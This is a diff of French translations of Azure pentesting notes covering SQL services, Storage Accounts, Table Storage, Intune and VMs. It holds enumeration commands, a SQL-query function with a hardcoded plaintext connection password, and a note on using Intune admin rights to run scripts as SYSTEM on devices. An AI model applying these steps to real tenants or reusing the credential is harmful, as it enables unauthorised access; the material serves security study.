2. **Azure SQL Managed Instance** : Cela concerne les déploiements à grande échelle, à l'échelle de l'ensemble de l'instance SQL Server. Il offre une compatibilité presque à 100 % avec le dernier moteur de base de données SQL Server sur site (Édition Entreprise), qui fournit une mise en réseau virtuelle (VNet) native qui répond aux préoccupations de sécurité courantes, et un modèle commercial favorable pour les clients SQL Server sur site.
|
2. **Azure SQL Managed Instance** : Cela concerne les déploiements à grande échelle, à l'échelle de l'ensemble de l'instance SQL Server. Il offre une compatibilité presque totale avec le dernier moteur de base de données SQL Server sur site (Édition Entreprise), qui fournit une mise en réseau virtuelle (VNet) native répondant aux préoccupations de sécurité courantes, et un modèle commercial favorable aux clients SQL Server sur site.
|
||||||
3. **Azure SQL Server sur Azure VMs** : Il s'agit d'une Infrastructure en tant que Service (IaaS) et est le mieux adapté pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site.
|
3. **Azure SQL Server sur des machines virtuelles Azure** : Il s'agit d'une Infrastructure en tant que Service (IaaS) et est préférable pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site.
|
||||||
|
|
||||||
### Azure SQL Database
|
### Azure SQL Database
|
||||||
|
|
||||||
**Azure SQL Database** est une **plateforme de base de données entièrement gérée en tant que service (PaaS)** qui fournit des solutions de bases de données relationnelles évolutives et sécurisées. Elle est construite sur les dernières technologies SQL Server et élimine le besoin de gestion d'infrastructure, ce qui en fait un choix populaire pour les applications basées sur le cloud.
|
**Azure SQL Database** est une **plateforme de base de données entièrement gérée en tant que service (PaaS)** qui fournit des solutions de bases de données relationnelles évolutives et sécurisées. Elle est construite sur les dernières technologies SQL Server et élimine le besoin de gestion d'infrastructure, ce qui en fait un choix populaire pour les applications basées sur le cloud.
|
||||||
|
|
||||||
#### Caractéristiques Clés
|
#### Caractéristiques clés
|
||||||
|
|
||||||
- **Toujours à jour** : Fonctionne sur la dernière version stable de SQL Server et reçoit automatiquement de nouvelles fonctionnalités et correctifs.
|
- **Toujours à jour** : Fonctionne sur la dernière version stable de SQL Server et reçoit automatiquement de nouvelles fonctionnalités et correctifs.
|
||||||
- **Capacités PaaS** : Haute disponibilité intégrée, sauvegardes et mises à jour.
|
- **Capacités PaaS** : Haute disponibilité intégrée, sauvegardes et mises à jour.
|
||||||
- **Flexibilité des données** : Prend en charge les données relationnelles et non relationnelles (par exemple, graphiques, JSON, spatial et XML).
|
- **Flexibilité des données** : Prend en charge les données relationnelles et non relationnelles (par exemple, graphiques, JSON, spatial et XML).
|
||||||
|
|
||||||
#### Modèles d'Achat / Niveaux de Service
|
#### Modèles d'achat / Niveaux de service
|
||||||
|
|
||||||
- **Basé sur vCore** : Choisissez indépendamment le calcul, la mémoire et le stockage. Pour usage général, critique pour les affaires (avec haute résilience et performance pour les applications OLTP), et évolue jusqu'à 128 To de stockage.
|
- **Basé sur vCore** : Choisissez le calcul, la mémoire et le stockage indépendamment. Pour usage général, critique pour les entreprises (avec haute résilience et performance pour les applications OLTP), et évolue jusqu'à 128 To de stockage.
|
||||||
- **Basé sur DTU** : Regroupe le calcul, la mémoire et l'I/O en niveaux fixes. Ressources équilibrées pour les tâches courantes.
|
- **Basé sur DTU** : Regroupe le calcul, la mémoire et l'I/O en niveaux fixes. Ressources équilibrées pour les tâches courantes.
|
||||||
- Standard : Ressources équilibrées pour les tâches courantes.
|
- Standard : Ressources équilibrées pour les tâches courantes.
|
||||||
- Premium : Haute performance pour des charges de travail exigeantes.
|
- Premium : Haute performance pour des charges de travail exigeantes.
|
||||||
|
|
||||||
#### Modèles de Déploiement
|
#### Modèles de déploiement
|
||||||
|
|
||||||
Azure SQL Database prend en charge des options de déploiement flexibles pour répondre à divers besoins :
|
Azure SQL Database prend en charge des options de déploiement flexibles pour répondre à divers besoins :
|
||||||
|
|
||||||
- **Base de données unique** :
|
- **Base de données unique** :
|
||||||
- Une base de données entièrement isolée avec ses propres ressources dédiées.
|
- Une base de données entièrement isolée avec ses propres ressources dédiées.
|
||||||
- Idéal pour les microservices ou les applications nécessitant une source de données unique.
|
- Idéal pour les microservices ou les applications nécessitant une source de données unique.
|
||||||
- **Pool Élastique** :
|
- **Pool élastique** :
|
||||||
- Permet à plusieurs bases de données de partager des ressources au sein d'un pool.
|
- Permet à plusieurs bases de données de partager des ressources au sein d'un pool.
|
||||||
- Économique pour les applications avec des modèles d'utilisation fluctuants à travers plusieurs bases de données.
|
- Économique pour les applications avec des modèles d'utilisation fluctuants à travers plusieurs bases de données.
|
||||||
|
|
||||||
#### Performance évolutive et pools
|
#### Performance évolutive et pools
|
||||||
|
|
||||||
- **Bases de données uniques** : Chaque base de données est isolée et dispose de ses propres ressources de calcul, de mémoire et de stockage dédiées. Les ressources peuvent être évoluées dynamiquement (vers le haut ou vers le bas) sans temps d'arrêt (1–128 vCores, 32 Go–4 To de stockage, et jusqu'à 128 To).
|
- **Bases de données uniques** : Chaque base de données est isolée et dispose de ses propres ressources de calcul, de mémoire et de stockage dédiées. Les ressources peuvent être évoluées dynamiquement (vers le haut ou vers le bas) sans temps d'arrêt (1 à 128 vCores, 32 Go à 4 To de stockage, et jusqu'à 128 To).
|
||||||
- **Pools Élastiques** : Partagent des ressources entre plusieurs bases de données dans un pool pour maximiser l'efficacité et réduire les coûts. Les ressources peuvent également être évoluées dynamiquement pour l'ensemble du pool.
|
- **Pools élastiques** : Partagent des ressources entre plusieurs bases de données dans un pool pour maximiser l'efficacité et réduire les coûts. Les ressources peuvent également être évoluées dynamiquement pour l'ensemble du pool.
|
||||||
- **Flexibilité des niveaux de service** : Commencez petit avec une base de données unique dans le niveau Usage Général. Passez aux niveaux Critique pour les affaires ou Hyperscale à mesure que les besoins augmentent.
|
- **Flexibilité des niveaux de service** : Commencez petit avec une base de données unique dans le niveau usage général. Passez aux niveaux critique pour les entreprises ou hyperscale à mesure que les besoins augmentent.
|
||||||
- **Options d'évolutivité** : Évolutivité dynamique ou alternatives d'autoscaling.
|
- **Options d'évolutivité** : Évolutivité dynamique ou alternatives d'autoscaling.
|
||||||
|
|
||||||
#### Surveillance et optimisation intégrées
|
#### Surveillance et optimisation intégrées
|
||||||
@@ -53,7 +53,7 @@ Azure SQL Database prend en charge des options de déploiement flexibles pour r
|
|||||||
- **Réglage automatique** : Optimise proactivement la performance avec des fonctionnalités telles que l'indexation automatique et les corrections de plans de requêtes.
|
- **Réglage automatique** : Optimise proactivement la performance avec des fonctionnalités telles que l'indexation automatique et les corrections de plans de requêtes.
|
||||||
- **Intégration de télémétrie** : Prend en charge la surveillance via Azure Monitor, Event Hubs ou Azure Storage pour des insights personnalisés.
|
- **Intégration de télémétrie** : Prend en charge la surveillance via Azure Monitor, Event Hubs ou Azure Storage pour des insights personnalisés.
|
||||||
|
|
||||||
#### Récupération après sinistre & Disponibilité
|
#### Récupération après sinistre et disponibilité
|
||||||
|
|
||||||
- **Sauvegardes automatiques** : SQL Database effectue automatiquement des sauvegardes complètes, différentielles et de journaux de transactions des bases de données.
|
- **Sauvegardes automatiques** : SQL Database effectue automatiquement des sauvegardes complètes, différentielles et de journaux de transactions des bases de données.
|
||||||
- **Restauration à un instant donné** : Récupérez les bases de données à tout état passé dans la période de rétention des sauvegardes.
|
- **Restauration à un instant donné** : Récupérez les bases de données à tout état passé dans la période de rétention des sauvegardes.
|
||||||
@@ -62,14 +62,14 @@ Azure SQL Database prend en charge des options de déploiement flexibles pour r
|
|||||||
|
|
||||||
### Azure SQL Managed Instance
|
### Azure SQL Managed Instance
|
||||||
|
|
||||||
**Azure SQL Managed Instance** est un moteur de base de données en tant que service (PaaS) qui offre une compatibilité presque à 100 % avec SQL Server et gère automatiquement la plupart des tâches de gestion (par exemple, mise à niveau, correctifs, sauvegardes, surveillance). Il fournit une solution cloud pour migrer les bases de données SQL Server sur site avec des changements minimes.
|
**Azure SQL Managed Instance** est un moteur de base de données en tant que service (PaaS) qui offre une compatibilité presque totale avec SQL Server et gère automatiquement la plupart des tâches de gestion (par exemple, mise à niveau, correctifs, sauvegardes, surveillance). Il fournit une solution cloud pour migrer les bases de données SQL Server sur site avec des modifications minimales.
|
||||||
|
|
||||||
#### Niveaux de Service
|
#### Niveaux de service
|
||||||
|
|
||||||
- **Usage Général** : Option économique pour les applications avec des exigences standard en matière d'I/O et de latence.
|
- **Usage général** : Option économique pour les applications avec des exigences standard en matière d'I/O et de latence.
|
||||||
- **Critique pour les affaires** : Option haute performance avec une faible latence I/O pour les charges de travail critiques.
|
- **Critique pour les entreprises** : Option haute performance avec une faible latence I/O pour des charges de travail critiques.
|
||||||
|
|
||||||
#### Fonctionnalités de Sécurité Avancées
|
#### Fonctionnalités de sécurité avancées
|
||||||
|
|
||||||
* **Protection contre les menaces** : Alertes de protection avancée contre les menaces pour les activités suspectes et les attaques par injection SQL. Audit pour suivre et enregistrer les événements de base de données pour la conformité.
|
* **Protection contre les menaces** : Alertes de protection avancée contre les menaces pour les activités suspectes et les attaques par injection SQL. Audit pour suivre et enregistrer les événements de base de données pour la conformité.
|
||||||
* **Contrôle d'accès** : Authentification Microsoft Entra pour une gestion centralisée des identités. Sécurité au niveau des lignes et masquage dynamique des données pour un contrôle d'accès granulaire.
|
* **Contrôle d'accès** : Authentification Microsoft Entra pour une gestion centralisée des identités. Sécurité au niveau des lignes et masquage dynamique des données pour un contrôle d'accès granulaire.
|
||||||
@@ -77,17 +77,17 @@ Azure SQL Database prend en charge des options de déploiement flexibles pour r
|
|||||||
|
|
||||||
### Azure SQL Virtual Machines
|
### Azure SQL Virtual Machines
|
||||||
|
|
||||||
**Azure SQL Virtual Machines** est le mieux adapté pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site. Il peut avoir différentes tailles de machines et une large sélection de versions et d'éditions de SQL Server.
|
**Azure SQL Virtual Machines** est préférable pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site. Il peut avoir différentes tailles de machines et une large sélection de versions et d'éditions de SQL Server.
|
||||||
|
|
||||||
#### Caractéristiques Clés
|
#### Caractéristiques clés
|
||||||
|
|
||||||
**Sauvegarde Automatisée** : Planifiez des sauvegardes pour les bases de données SQL.
|
**Sauvegarde automatisée** : Planifiez des sauvegardes pour les bases de données SQL.
|
||||||
**Mise à jour Automatique** : Automatise l'installation des mises à jour de Windows et de SQL Server pendant une fenêtre de maintenance.
|
**Mise à jour automatique** : Automatise l'installation des mises à jour de Windows et de SQL Server pendant une fenêtre de maintenance.
|
||||||
**Intégration de Azure Key Vault** : Configure automatiquement Key Vault pour les VMs SQL Server.
|
**Intégration de Azure Key Vault** : Configure automatiquement Key Vault pour les machines virtuelles SQL Server.
|
||||||
**Intégration de Defender for Cloud** : Voir les recommandations de Defender for SQL dans le portail.
|
**Intégration de Defender for Cloud** : Consultez les recommandations de Defender for SQL dans le portail.
|
||||||
**Flexibilité de Version/Édition** : Changez les métadonnées de version ou d'édition de SQL Server sans redéployer la VM.
|
**Flexibilité de version/édition** : Changez les métadonnées de version ou d'édition de SQL Server sans redéployer la machine virtuelle.
|
||||||
|
|
||||||
#### Fonctionnalités de Sécurité
|
#### Fonctionnalités de sécurité
|
||||||
|
|
||||||
**Microsoft Defender for SQL** : Insights et alertes de sécurité.
|
**Microsoft Defender for SQL** : Insights et alertes de sécurité.
|
||||||
**Intégration de Azure Key Vault** : Stockage sécurisé des identifiants et des clés de chiffrement.
|
**Intégration de Azure Key Vault** : Stockage sécurisé des identifiants et des clés de chiffrement.
|
||||||
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell"}}
|
{{#tab name="Az PowerShell"}}
|
||||||
```powershell
|
```bash
|
||||||
# List Servers
|
# List Servers
|
||||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||||
|
|
||||||
@@ -209,7 +209,7 @@ Get-AzSqlVM
|
|||||||
### Connecter et exécuter des requêtes SQL
|
### Connecter et exécuter des requêtes SQL
|
||||||
|
|
||||||
Vous pourriez trouver une chaîne de connexion (contenant des identifiants) dans l'exemple [énumérer un Az WebApp](az-app-services.md) :
|
Vous pourriez trouver une chaîne de connexion (contenant des identifiants) dans l'exemple [énumérer un Az WebApp](az-app-services.md) :
|
||||||
```powershell
|
```bash
|
||||||
function invoke-sql{
|
function invoke-sql{
|
||||||
param($query)
|
param($query)
|
||||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||||
@@ -228,7 +228,7 @@ $Connection.Close()
|
|||||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||||
```
|
```
|
||||||
Vous pouvez également utiliser sqlcmd pour accéder à la base de données. Il est important de savoir si le serveur autorise les connexions publiques `az sql server show --name <server-name> --resource-group <resource-group>`, et aussi si la règle de pare-feu permet à notre IP d'accéder :
|
Vous pouvez également utiliser sqlcmd pour accéder à la base de données. Il est important de savoir si le serveur autorise les connexions publiques `az sql server show --name <server-name> --resource-group <resource-group>`, et aussi si la règle de pare-feu permet à notre IP d'accéder :
|
||||||
```powershell
|
```bash
|
||||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||||
```
|
```
|
||||||
## Références
|
## Références
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azure qui fournissent un **stockage cloud évolutif, sécurisé et hautement disponible pour divers types de données**, y compris les blobs (objets binaires volumineux), les fichiers, les files d'attente et les tables. Ils servent de conteneurs qui regroupent ces différents services de stockage sous un seul espace de noms pour une gestion facile.
|
Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azure qui fournissent un **stockage cloud évolutif, sécurisé et hautement disponible pour divers types de données**, y compris les blobs (objets binaires volumineux), les fichiers, les files d'attente et les tables. Ils servent de conteneurs qui regroupent ces différents services de stockage sous un même espace de noms pour une gestion facile.
|
||||||
|
|
||||||
**Options de configuration principales** :
|
**Options de configuration principales** :
|
||||||
|
|
||||||
@@ -24,7 +24,7 @@ Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azur
|
|||||||
**Options de stockage de blobs** :
|
**Options de stockage de blobs** :
|
||||||
|
|
||||||
- **Autoriser la réplication inter-locataires**.
|
- **Autoriser la réplication inter-locataires**.
|
||||||
- **Niveau d'accès** : Chaud (données fréquemment accessibles), Froid et Glacial (données rarement accessibles).
|
- **Niveau d'accès** : Chaud (données fréquemment accessibles), Froid et Très Froid (données rarement accessibles).
|
||||||
|
|
||||||
**Options de mise en réseau** :
|
**Options de mise en réseau** :
|
||||||
|
|
||||||
@@ -40,8 +40,8 @@ Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azur
|
|||||||
- Cela nécessite que la version, le flux de modifications et la suppression douce des blobs soient activés.
|
- Cela nécessite que la version, le flux de modifications et la suppression douce des blobs soient activés.
|
||||||
- **Activer la suppression douce pour les blobs** : Cela active une période de conservation en jours pour les blobs supprimés (même écrasés).
|
- **Activer la suppression douce pour les blobs** : Cela active une période de conservation en jours pour les blobs supprimés (même écrasés).
|
||||||
- **Activer la suppression douce pour les conteneurs** : Cela active une période de conservation en jours pour les conteneurs supprimés.
|
- **Activer la suppression douce pour les conteneurs** : Cela active une période de conservation en jours pour les conteneurs supprimés.
|
||||||
- **Activer la suppression douce pour les partages de fichiers** : Cela active une période de conservation en jours pour les fichiers partagés supprimés.
|
- **Activer la suppression douce pour les partages de fichiers** : Cela active une période de conservation en jours pour les partages de fichiers supprimés.
|
||||||
- **Activer la versionnage pour les blobs** : Maintenir les versions précédentes de vos blobs.
|
- **Activer la version pour les blobs** : Maintenir les versions précédentes de vos blobs.
|
||||||
- **Activer le flux de modifications des blobs** : Conserver des journaux des créations, modifications et suppressions des blobs.
|
- **Activer le flux de modifications des blobs** : Conserver des journaux des créations, modifications et suppressions des blobs.
|
||||||
- **Activer le support d'immuabilité au niveau de la version** : Vous permet de définir une politique de conservation basée sur le temps au niveau du compte qui s'appliquera à toutes les versions de blobs.
|
- **Activer le support d'immuabilité au niveau de la version** : Vous permet de définir une politique de conservation basée sur le temps au niveau du compte qui s'appliquera à toutes les versions de blobs.
|
||||||
- Le support d'immuabilité au niveau de la version et la restauration à un instant donné pour les conteneurs ne peuvent pas être activés simultanément.
|
- Le support d'immuabilité au niveau de la version et la restauration à un instant donné pour les conteneurs ne peuvent pas être activés simultanément.
|
||||||
@@ -53,7 +53,7 @@ Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azur
|
|||||||
|
|
||||||
### Points de terminaison de stockage
|
### Points de terminaison de stockage
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="197">Service de stockage</th><th>Point de terminaison</th></tr></thead><tbody><tr><td><strong>Stockage de blobs</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Stockage Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Stockage de files d'attente</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Stockage de tables</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="197">Service de stockage</th><th>Point de terminaison</th></tr></thead><tbody><tr><td><strong>Stockage de blobs</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Stockage de Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Stockage de files d'attente</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Stockage de tables</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||||
|
|
||||||
### Exposition publique
|
### Exposition publique
|
||||||
|
|
||||||
@@ -65,7 +65,7 @@ Si "Autoriser l'accès public aux blobs" est **activé** (désactivé par défau
|
|||||||
|
|
||||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Se connecter au stockage
|
### Connexion au stockage
|
||||||
|
|
||||||
Si vous trouvez un **stockage** auquel vous pouvez vous connecter, vous pouvez utiliser l'outil [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) pour le faire.
|
Si vous trouvez un **stockage** auquel vous pouvez vous connecter, vous pouvez utiliser l'outil [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) pour le faire.
|
||||||
|
|
||||||
@@ -73,7 +73,7 @@ Si vous trouvez un **stockage** auquel vous pouvez vous connecter, vous pouvez u
|
|||||||
|
|
||||||
### RBAC
|
### RBAC
|
||||||
|
|
||||||
Il est possible d'utiliser des principes Entra ID avec des **rôles RBAC** pour accéder aux comptes de stockage et c'est la méthode recommandée.
|
Il est possible d'utiliser des identifiants Entra ID avec des **rôles RBAC** pour accéder aux comptes de stockage et c'est la méthode recommandée.
|
||||||
|
|
||||||
### Clés d'accès
|
### Clés d'accès
|
||||||
|
|
||||||
@@ -89,7 +89,7 @@ Il est possible de [**générer des clés partagées**](https://learn.microsoft.
|
|||||||
> Notez que la partie `CanonicalizedResource` représente la ressource des services de stockage (URI). Et si une partie de l'URL est encodée, elle doit également être encodée à l'intérieur de `CanonicalizedResource`.
|
> Notez que la partie `CanonicalizedResource` représente la ressource des services de stockage (URI). Et si une partie de l'URL est encodée, elle doit également être encodée à l'intérieur de `CanonicalizedResource`.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Ceci est **utilisé par défaut par `az` cli** pour authentifier les demandes. Pour le faire utiliser les identifiants du principal Entra ID, indiquez le paramètre `--auth-mode login`.
|
> Ceci est **utilisé par défaut par `az` cli** pour authentifier les demandes. Pour qu'il utilise les identifiants de l'identifiant Entra, indiquez le paramètre `--auth-mode login`.
|
||||||
|
|
||||||
- Il est possible de générer une **clé partagée pour les services de blobs, de files d'attente et de fichiers** en signant les informations suivantes :
|
- Il est possible de générer une **clé partagée pour les services de blobs, de files d'attente et de fichiers** en signant les informations suivantes :
|
||||||
```bash
|
```bash
|
||||||
@@ -125,7 +125,7 @@ Date + "\n" +
|
|||||||
CanonicalizedHeaders +
|
CanonicalizedHeaders +
|
||||||
CanonicalizedResource;
|
CanonicalizedResource;
|
||||||
```
|
```
|
||||||
- Il est possible de générer une **clé partagée légère pour les services de table** en signant les informations suivantes :
|
- Il est possible de générer une **lite shared key for table services** en signant les informations suivantes :
|
||||||
```bash
|
```bash
|
||||||
StringToSign = Date + "\n"
|
StringToSign = Date + "\n"
|
||||||
CanonicalizedResource
|
CanonicalizedResource
|
||||||
@@ -189,7 +189,7 @@ Azure Blob Storage prend désormais en charge le protocole de transfert de fichi
|
|||||||
### Exigences de configuration
|
### Exigences de configuration
|
||||||
|
|
||||||
- Espace de noms hiérarchique : HNS doit être activé lors de la création du compte de stockage.
|
- Espace de noms hiérarchique : HNS doit être activé lors de la création du compte de stockage.
|
||||||
- Chiffrement pris en charge : Nécessite des algorithmes cryptographiques approuvés par le cycle de vie de développement de sécurité de Microsoft (SDL) (par exemple, rsa-sha2-256, ecdsa-sha2-nistp256).
|
- Chiffrement pris en charge : Nécessite des algorithmes cryptographiques approuvés par le cycle de développement de sécurité de Microsoft (SDL) (par exemple, rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||||
- Configuration SFTP :
|
- Configuration SFTP :
|
||||||
- Activer SFTP sur le compte de stockage.
|
- Activer SFTP sur le compte de stockage.
|
||||||
- Créer des identités d'utilisateur local avec les autorisations appropriées.
|
- Créer des identités d'utilisateur local avec les autorisations appropriées.
|
||||||
@@ -330,7 +330,7 @@ az storage account local-user list \
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get storage accounts
|
# Get storage accounts
|
||||||
Get-AzStorageAccount | fl
|
Get-AzStorageAccount | fl
|
||||||
# Get rules to access the storage account
|
# Get rules to access the storage account
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ Il **n'y a pas de mécanisme de sauvegarde intégré** pour le stockage de table
|
|||||||
|
|
||||||
#### **RowKey**
|
#### **RowKey**
|
||||||
|
|
||||||
- Le **RowKey est l'identifiant unique** d'une entité au sein d'une partition. Lorsqu'il est combiné avec le PartitionKey, il garantit que chaque entité dans la table a un identifiant unique au niveau mondial.
|
- Le **RowKey est l'identifiant unique** d'une entité au sein d'une partition. Lorsqu'il est combiné avec le PartitionKey, il garantit que chaque entité dans la table a un identifiant globalement unique.
|
||||||
- Exemple : Pour la partition `"RH"`, `RowKey` pourrait être un identifiant d'employé, par exemple, `"12345"`.
|
- Exemple : Pour la partition `"RH"`, `RowKey` pourrait être un identifiant d'employé, par exemple, `"12345"`.
|
||||||
|
|
||||||
#### **Autres Propriétés (Propriétés Personnalisées)**
|
#### **Autres Propriétés (Propriétés Personnalisées)**
|
||||||
@@ -63,7 +63,7 @@ az storage entity merge \
|
|||||||
```
|
```
|
||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#tab name="PowerShell"}}
|
{{#tab name="PowerShell"}}
|
||||||
```powershell
|
```bash
|
||||||
# Get storage accounts
|
# Get storage accounts
|
||||||
Get-AzStorageAccount
|
Get-AzStorageAccount
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ Microsoft Intune est conçu pour rationaliser le processus de **gestion des appl
|
|||||||
|
|
||||||
Un utilisateur avec le rôle de **Global Administrator** ou **Intune Administrator** peut exécuter des **scripts PowerShell** sur n'importe quel **appareil Windows inscrit**.\
|
Un utilisateur avec le rôle de **Global Administrator** ou **Intune Administrator** peut exécuter des **scripts PowerShell** sur n'importe quel **appareil Windows inscrit**.\
|
||||||
Le **script** s'exécute avec les **privileges** de **SYSTEM** sur l'appareil une seule fois s'il ne change pas, et depuis Intune, il est **impossible de voir la sortie** du script.
|
Le **script** s'exécute avec les **privileges** de **SYSTEM** sur l'appareil une seule fois s'il ne change pas, et depuis Intune, il est **impossible de voir la sortie** du script.
|
||||||
```powershell
|
```bash
|
||||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||||
```
|
```
|
||||||
1. Connectez-vous à [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ou utilisez Pass-The-PRT
|
1. Connectez-vous à [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ou utilisez Pass-The-PRT
|
||||||
|
|||||||
@@ -26,12 +26,12 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
|
|||||||
- Il est également possible d'activer **le chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
- Il est également possible d'activer **le chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||||
- **Groupe de sécurité réseau NIC** :
|
- **Groupe de sécurité réseau NIC** :
|
||||||
- **Aucun** : Ouvre essentiellement tous les ports
|
- **Aucun** : Ouvre essentiellement tous les ports
|
||||||
- **De base** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
- **Basique** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||||
- **Avancé** : Sélectionnez un groupe de sécurité
|
- **Avancé** : Sélectionnez un groupe de sécurité
|
||||||
- **Sauvegarde** : Il est possible d'activer une sauvegarde **standard** (une par jour) et **améliorée** (plusieurs par jour)
|
- **Sauvegarde** : Il est possible d'activer une sauvegarde **Standard** (une par jour) et **Améliorée** (plusieurs par jour)
|
||||||
- **Options d'orchestration des correctifs** : Cela permet d'appliquer automatiquement des correctifs dans les VM selon la politique sélectionnée comme décrit dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
- **Options d'orchestration des correctifs** : Cela permet d'appliquer automatiquement des correctifs dans les VM selon la politique sélectionnée comme décrit dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||||
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou par application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
|
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou par application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
|
||||||
- Pourcentage de CPU supérieur à 80%
|
- Pourcentage CPU supérieur à 80%
|
||||||
- Octets de mémoire disponibles inférieurs à 1 Go
|
- Octets de mémoire disponibles inférieurs à 1 Go
|
||||||
- Pourcentage d'I/O consommé par les disques de données supérieur à 95%
|
- Pourcentage d'I/O consommé par les disques de données supérieur à 95%
|
||||||
- Pourcentage d'I/O consommé par le système d'exploitation supérieur à 95%
|
- Pourcentage d'I/O consommé par le système d'exploitation supérieur à 95%
|
||||||
@@ -39,7 +39,7 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
|
|||||||
- Réseau sortant total supérieur à 200 Go
|
- Réseau sortant total supérieur à 200 Go
|
||||||
- VmAvailabilityMetric inférieur à 1
|
